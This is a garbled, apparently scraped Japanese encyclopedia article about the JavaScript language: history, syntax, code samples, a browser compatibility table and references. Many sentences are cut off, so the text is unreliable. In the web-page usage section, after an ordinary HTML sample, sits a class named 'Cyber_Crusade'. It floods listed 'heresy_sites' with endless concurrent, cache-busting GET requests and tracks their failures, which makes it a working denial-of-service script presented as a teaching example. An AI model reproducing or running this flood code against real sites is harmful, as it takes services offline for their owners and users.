JavaScript
JavaScript(ジャバスクリプト)は、プログラミング
![]() logo.jsによるJavaScriptの | |
パラダイム | マルチパラダイム |
---|---|
1995 | |
ブレンダン・アイク | |
ネットスケープコミュニケーションズ、Mozilla Foundation | |
ECMAScript 2023[1] ![]() | |
ECMAScript 2025[2] ![]() | |
ダック・タイピング | |
JavaScriptCore、KJS、Nitro、Rhino、SpiderMonkey、V8ほか | |
JScript | |
Scheme、Self、Java、Lua、Perl、AWK、HyperTalk、Python ![]() | |
Dart、Objective-J、Google Apps Script、TypeScript | |
プラットフォーム | クロスプラットフォーム |
ウェブサイト |
www |
.js 、.cjs 、.mjs |
![](https://upload.wikimedia.org/wikipedia/commons/thumb/9/91/JavaScript_screenshot.png/220px-JavaScript_screenshot.png)
プロトタイプベースのオブジェクト
概要
JavaScriptはWebブラウザNetscape Navigatorに
JavaScriptの
プログラミング言語 としての特徴
JavaScriptは
if
・for
などの制御 構造 による手続 き型 プログラミングスタイル.prototype
・class
などのオブジェクトによるオブジェクト指向 プログラミングスタイルmap
・高階 関数 などの関数 操作 による関数 型 プログラミングスタイル
これらを
AptanaやEclipse, NetBeans, IntelliJ IDEAなどの
並行 処理
JavaScriptではしばしば、ネットワークを
Promise
、Promise
を
またJavaScriptは
並列 処理
JavaScriptではSharedArrayBuffer
、バッファAtomics
がWorker
、Node.jsのworker_threads
でpostMessage
によるメッセージングが
歴史
誕生
JavaScriptはネットスケープコミュニケーションズのブレンダン・アイクによって、1995
1996
ネットスケープは、ウェブアプリケーション
JavaScriptの
かつてはJavaScriptという
ECMAScriptは
発展
また、JavaScriptはウェブブラウザの
JavaScript 2.0
1
その
しかしその
なお、ECMAScript 5が
文法
基本 的 な文法
JavaScriptの
let x; // 変数 xの宣言 。値 が未 指定 のため、特殊 な値 である undefined が入 った状態 となる。
let y = 2; // 変数 yの宣言 。同時 に 2 が代入 される。
const z = 5; // 定数 zの宣言 。同時 に 5 が代入 される。定数 であるため、書 き換 えることはできない。
JavaScriptは
この
仕様 の中 では外部 データの入力 または計算 結果 の出力 は供給 しない。
(… indeed, there are no provisions in this specification for input of external data or output of computed results.)
しかし、ほとんどの
console.log("Hello World!");
function factorial(n) {
if (n == 0) {
return 1;
}
return n * factorial(n - 1);
}
// ECMAScript 5以前 の記法
var displayClosure = function() {
let count = 0;
// ECMAScript 2015以降 で可能 な記法
return ()=> {
return ++count;
};
}
var inc = displayClosure();
inc(); // 1 が返 る
inc(); // 2 が返 る
inc(); // 3 が返 る
var sum = function(...args) {
let x = 0;
for (const v of args) {
x += v;
}
return x;
}
sum(1, 2, 3); // 6 が返 る
var v;
v = 1;
var getValue = (function(v) {
return function() {return v;};
})(v);
v = 2;
getValue(); // 1 が返 る
複雑 な例
"use strict"; // strictモードの宣言
/* 2つの数値 の最小公倍数 を求 める */
function LCMCalculator(x, y) { // コンストラクタ関数
const checkInt = (x)=> { // 入 れ子 の関数
if (x % 1 !== 0) {
throw new TypeError(x + " is not an integer"); // 例外 のスロー
}
return x;
};
// 行末 のセミコロンは省略 可能 な場合 があるが、省略 は推奨 されない。
this.a = checkInt(x)
this.b = checkInt(y);
}
// オブジェクトのプロトタイプはコンストラクタ関数 の prototype プロパティに格納 する
LCMCalculator.prototype = { // オブジェクトリテラル
constructor: LCMCalculator, // このようにプロトタイプを上書 きする場合 は、
// constructorプロパティにコンストラクタ関数 名 を再 指定 する
gcd: function () { // 最大公約数 を計算 するメソッド
// 「ユークリッドの互除法 」アルゴリズムで計算
let a = Math.abs(this.a), b = Math.abs(this.b);
if (a < b) {
// 変数 の入 れ替 え
const t = b;
b = a;
a = t;
}
while (b !== 0) {
const t = b;
b = a % b;
a = t;
}
// 最大公約数 の計算 は一 度 でよいため、自分 自身 を計算 済 みの結果 を返 すメソッドで再 定義 (上書 き)する。
// (これにより LCMCalculator.prototype.gcd の代 わりに this.gcd が呼 ばれるようになる。
// ただし、計算 後 にプロパティ a や b が変更 されてしまうと、結果 は誤 りとなる。)
// なお 'gcd' === "gcd", this['gcd'] === this.gcd である。
this['gcd'] = function () {
return a;
};
return a;
},
lcm : function () { // 最小公倍数 を計算 するメソッド
// 変数 名 は、オブジェクトのプロパティと衝突 しない。例 )lcm は this.lcm とは異 なる。
// 以下 では、浮動 小数 の精度 の問題 を避 けるために this.a * this.b としていない。
const lcm = this.a/this.gcd()*this.b;
// 最小公倍数 の計算 も一 度 でよいため、自分 自身 を計算 済 みの結果 を返 すメソッドで再 定義 (上書 き)する。
this.lcm = function () {
return lcm;
};
return lcm;
},
toString: function () { // toStringはオブジェクトを文字 列 に変換 するときに呼 ばれるメソッド。
// テンプレート文字 列 により文字 列 中 に値 を埋 め込 むことができる。
return `LCMCalculator: a = ${this.a}, b = ${this.b}`;
}
};
// 汎用 の出力 関数 の定義 。この実装 はWebブラウザ上 でのみ動作 する。
function output(x) {
document.body.appendChild(document.createTextNode(x));
document.body.appendChild(document.createElement('br'));
}
// 無名 関数 はさまざまな書 き方 が可能
[[25, 55], [21, 56], [22, 58], [28, 56]].map(([a, b])=> new LCMCalculator(a, b)) // 配列 リテラル + マッピング関数
.sort((a, b)=> a.lcm() - b.lcm()) // 指定 した比較 関数 を用 いたソート
.forEach(obj=> {
output(obj + ", gcd = " + obj.gcd() + ", lcm = " + obj.lcm());
});
LCMCalculator: a = 28, b = 56, gcd = 28, lcm = 56
LCMCalculator: a = 21, b = 56, gcd = 7, lcm = 168
LCMCalculator: a = 25, b = 55, gcd = 5, lcm = 275
LCMCalculator: a = 22, b = 58, gcd = 2, lcm = 638
機能
グローバルオブジェクト
JavaScriptはコードのglobalThis
である[21]。
エコシステム
実行 環境 API
それぞれのJavaScript
Webブラウザ
HTMLdocument.querySelector
)、HTTPリクエストを
Node.js
ファイルシステムにアクセスするためのfs
API(モジュール)やprocess
APIなどが
altJS
alternative JavaScript (altJS) はJavaScriptへトランスパイルされるプログラミング
JavaScriptへ
パッケージ管理
JavaScriptエコシステムにはnpm
やyarn
がある。
利用
WebブラウザにおけるHTML
- ウェブページ・ウェブサイト・ウェブアプリケーション(ブラウザクライアント
上 での動作 ) - ウェブバックエンドサーバ (Node.js)
- デスクトップアプリケーション(
例 : Electron (ソフトウェア)) - モバイルアプリケーション (
例 : React Native)
Webページでの利用
JavaScriptの
JavaScriptの
- ページの
再 読 み込 みなしで新 しいコンテンツを読 み込 むまたはサーバに投稿 する(Ajax。例 えば、SNSでページを離 れることなく新 しい投稿 を表示 することができる)。 - ゲームなどの
動的 なコンテンツを提供 する。 - データをサーバーに
送信 せずにフォーム入力 値 の検証 を行 う。 - アクセス
解析 や広告 追跡 、パーソナライゼーションなどのためにユーザーの閲覧 情報 を収集 する[23]。
JavaScriptはユーザーのブラウザ
例
<!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8" /> <title>
単純 な例 </title> </head> <body> <h1 id="header">これはJavaScriptです</h1> <script> document.body.appendChild(document.createTextNode('Hello World!')); let h1 = document.querySelector('#header'); // id='header'の<h1>要素 の参照 を取得 。 h1 = document.querySelectorAll('h1')[0]; //または<h1>要素 を全 て取得 してそこから先頭 を取得 。 </script> <noscript>お使 いのブラウザはJavaScriptをサポートしていないか、無効 になっています。</noscript> </body> </html>
// クラス
名 class Cyber_Crusade { // コンストラクタ constructor(limit) { // 1秒 ごとの送信 頻度 を設定 this.CONCURRENCY_LIMIT = limit; //非同期 関数 を定義 this.fetchWithTimeout = this.fetchWithTimeout.bind(this); // リクエスト送信 。 this.punish_heterodoxy = this.punish_heterodoxy.bind(this); //各 サイトにデータリクエストを送 る。 } //対象 のサイトを指定 heresy_sites = { 'https://example.com/': { number_of_requests: 0, number_of_errored_responses: 0 }, 'https://www.example.com/': { number_of_requests: 0, number_of_errored_responses: 0 }, }; // 1秒 ごとの送信 頻度 CONCURRENCY_LIMIT = 1000; queue = []; // リクエスト送信 async fetchWithTimeout(resource, options) { // コントローラーを取得 const controller = new AbortController(); // IDを取得 const id = setTimeout(() => controller.abort(), options.timeout); // リクエスト処理 を返 す。 return fetch(resource, { method: 'GET', // GET方式 mode: 'no-cors', // CORS-safelisted methodsとCORS-safelisted request-headersだけを使 ったリクエストを送 る。 signal: controller.signal // オブジェクトのインスタンスを返 }).then((response) => { //成功 した場合 clearTimeout(id); // タイムアウトを消 す。 return response; //応答 結果 を返 す。 }).catch((error) => { //失敗 した場合 console.log(error.code); // エラーコードを出力 clearTimeout(id); // タイムアウトを消 す。 throw error; // エラーを投 げる。 }); } //各 ターゲットにデータ送信 する。 async punish_heterodoxy(target) { //for文 を使 った無限 ループ for (var i = 0;; ++i) { // リクエストの数 が規定 数 になったら if (this.queue.length > this.CONCURRENCY_LIMIT) { //最初 のリクエストを削除 する。 await this.queue.shift() } //乱数 を生成 var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000) //送信 リクエストを追加 する。 this.queue.push( //関数 を実行 する(時間 制限 :1秒 ) this.fetchWithTimeout(target+rand, { timeout: 1000 }) // エラーがある場合 はエラーを取得 する。 .catch((error) => { if (error.code === 20 /* ABORT */) { return; } this.heresy_sites[target].number_of_errored_responses++; }) //処理 後 の処理 をする。 .then((response) => { // エラーがある場合 はエラー処理 を入 れる。 if (response && !response.ok) { this.heresy_sites[target].number_of_errored_responses++; } // リクエスト数 を追加 する。 this.heresy_sites[target].number_of_requests++; }) ) } } //実行 関数 inquisitio(){ //全 てのターゲット要素 に対 してデータ送信 処理 を実行 する。 Object.keys(this.heresy_sites).map(this.punish_heterodoxy); } } // オブジェクト呼 び出 し var cyber_crusade = new Cyber_Crusade(500); //実行 cyber_crusade.inquisitio();
その他 の環境 での利用
ウェブブラウザ
また、Node.jsのようにOSの
いくつかのアプリケーションではマクロ
バージョンとブラウザの対応 表
バージョン | Netscape Navigator |
Mozilla Firefox |
Internet Explorer |
Opera | Safari | ||
---|---|---|---|---|---|---|---|
1.0 | 1996 |
2.0 | 3.0 | ||||
1.1 | 1996 |
3.0 | |||||
1.2 | 1997 |
4.0-4.05 | |||||
1.3 | 1998 |
ECMA-262 1st edition / ECMA-262 2nd edition | 4.06-4.7x | 4.0 | 5.0 | ||
1.4 | Netscape Server |
6.0 | |||||
1.5 | 2000 |
ECMA-262 3rd edition | 6.0 | 1.0 | 5.5 (JScript 5.5), 6.0 (JScript 5.6), 7.0 (JScript 5.7), 8.0 (JScript 6.0) |
||
1.6 | 2005 |
1.5 + Array extras + Array and String generics + E4X | 7.0-8.0 | 1.5 | 7.0-9.0 | 3.0, 3.1 | |
1.7 | 2006 |
1.6 + Pythonic generators + Iterators + let | 2.0 | 3.2-5.1 | |||
1.8 | 2008 |
1.7 + Generator expressions + Expression closures | 3.0 | ||||
1.8.1 | 1.8 + Minor Updates | 3.5 | |||||
1.9 | 1.8.1 + ECMAScript 5[24] Compliance | 4.0-11.0 |
ライブラリ
脚注
注釈
出典
- ^ “ECMAScript® 2023 Language Specification” (6
月 2023). 2 3月 2024閲覧 。 - ^ “ECMAScript® 2025 Language Specification” (27 3
月 2024). 17 4月 2024閲覧 。 - ^ Effective JavaScript(
翔 泳 社 、2013)iii。 - ^ Marc Andreessen. “INNOVATORS OF THE NET: BRENDAN EICH AND JAVASCRIPT”. 2008
年 7月 4日 時点 のオリジナルよりアーカイブ。2008年 1月 22日 閲覧 。 - ^ a b “NETSCAPE AND SUN ANNOUNCE JAVASCRIPT, THE OPEN, CROSS-PLATFORM OBJECT SCRIPTING LANGUAGE FOR ENTERPRISE NETWORKS AND THE INTERNET”. 2008
年 5月 28日 時点 のオリジナルよりアーカイブ。2008年 1月 22日 閲覧 。 - ^ ECMA 262, ISO/IEC 16262, JIS X 3060
- ^ JavaScript
第 5版 (オライリー・ジャパン、2007)P2。 - ^ ECMA-262
第 5版 2.Conformance - ^ WebExtensions, Browser Extensions
- ^ ECMAScript® 2017 Language Specification (ECMA-262, 8th edition, June 2017) Introduction
- ^ “Python and JavaScript” (
英語 ). Brendan's Roadmap Updates (2006年 2月 19日 ). 2010年 1月 25日 時点 のオリジナルよりアーカイブ。2007年 9月 5日 閲覧 。 - ^
後藤 大地 (2008年 8月 18日 ). “JavaScript 2.0はECMAScript 3.1ベースに、ECMAScript 4は譲歩 ”. マイナビニュース. 2013年 3月 1日 時点 のオリジナルよりアーカイブ。2022年 4月 11日 閲覧 。 - ^ “Mozilla における ECMAScript 5 のサポート”. 2021
年 4月 20日 時点 のオリジナルよりアーカイブ。2022年 4月 11日 閲覧 。 - ^ “var – JavaScript – MDN”. The Mozilla Developer Network. 22 December 2012
閲覧 。 - ^ “let – JavaScript – MDN”. The Mozilla Developer Network. 24 January 2018
閲覧 。 - ^ “const – JavaScript – MDN”. The Mozilla Developer Network. 24 January 2018
閲覧 。 - ^ “ECMAScript Language Specification – ECMA-262 Edition 5.1”. Ecmaインターナショナル. 22 December 2012
閲覧 。 - ^ “Console Living Standard” (
英語 ). WHATWG (2017年 5月 18日 ). 2017年 5月 24日 閲覧 。 - ^ “console”. Mozilla Developer Network. Mozilla. 6 April 2013
閲覧 。 - ^ “[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters Rest parameters -
JavaScript]”. Mozilla Developer Network. Mozilla. 24 January 2018
閲覧 。 - ^ 2020-04-10
現在 tc39 stage-4 (finished proposal). ECMAScript2020へ採用 予定 tc39 - ^ “Vanilla JS”. vanilla-js.com. June 16, 2020
時 点 のオリジナルよりアーカイブ。2021年 9月 4日 閲覧 。 - ^ “JavaScript tracking – Piwik”. Piwik. 31 March 2012
閲覧 。 - ^
後藤 大地 (2009年 12月9日 ). “JavaScriptのブラウザ非 互換 に解決 のみとおし”. journal.mycom.co.jp. 2009年 12月9日 閲覧 。 - ^ John Resig. “Versions of JavaScript”. Ejohn.org. 2009
年 5月 19日 閲覧 。
関連 項目
- JSON(JavaScript Object Notation)- JavaScriptにおけるオブジェクトの
記法 をベースとした軽量 なデータ記述 言語 。 - Category:JavaScriptを
生成 する言語 も参照 。
外部 リンク
英語 日本語 - JavaScript - MDN
- JavaScript
講座 - リズムファクトリー社 - JScript - Microsoft